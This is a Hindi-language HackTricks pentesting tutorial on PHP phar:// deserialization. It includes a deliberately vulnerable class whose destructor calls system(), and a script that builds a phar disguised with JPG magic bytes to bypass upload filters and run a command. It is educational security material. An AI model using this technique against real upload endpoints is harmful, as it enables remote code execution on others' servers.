hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

9.5 KiB

phar:// डिसीरियलाइजेशन

☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकयोग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है).

{% embed url="https://www.stmcyber.com/careers" %}

Phar फाइलें (PHP आर्काइव) फाइलें सीरियलाइज्ड प्रारूप में मेटा डेटा समाहित करती हैं, इसलिए, जब पार्स किया जाता है, यह मेटाडेटा डिसीरियलाइज्ड होता है और आप PHP कोड के अंदर एक डिसीरियलाइजेशन भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।

इस विशेषता की सबसे अच्छी बात यह है कि यह डिसीरियलाइजेशन PHP कोड को eval करने वाले PHP फंक्शन्स का उपयोग करते समय भी होगा जैसे कि file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()

तो, कल्पना कीजिए कि आप एक PHP वेब को किसी मनमानी फाइल का आकार प्राप्त करने के लिए phar:// प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित जैसी एक क्लास मिलती है:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

आप एक phar फाइल बना सकते हैं जिसे लोड करने पर इस क्लास का दुरुपयोग करके मनमाने कमांड निष्पादित करेगा इस प्रकार से:

{% code title="create_phar.php" %}

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

ध्यान दें कि JPG के मैजिक बाइट्स (\xff\xd8\xff) को phar फाइल की शुरुआत में कैसे जोड़ा गया है ताकि संभावित फाइल अपलोड प्रतिबंधों को बायपास किया जा सके।
test.phar फाइल को इसके साथ कंपाइल करें:

php --define phar.readonly=0 create_phar.php

और निम्नलिखित कोड का उपयोग करके whoami कमांड को नाजुक कोड का दुरुपयोग करते हुए निष्पादित करें:

php vuln.php

संदर्भ

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकिबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥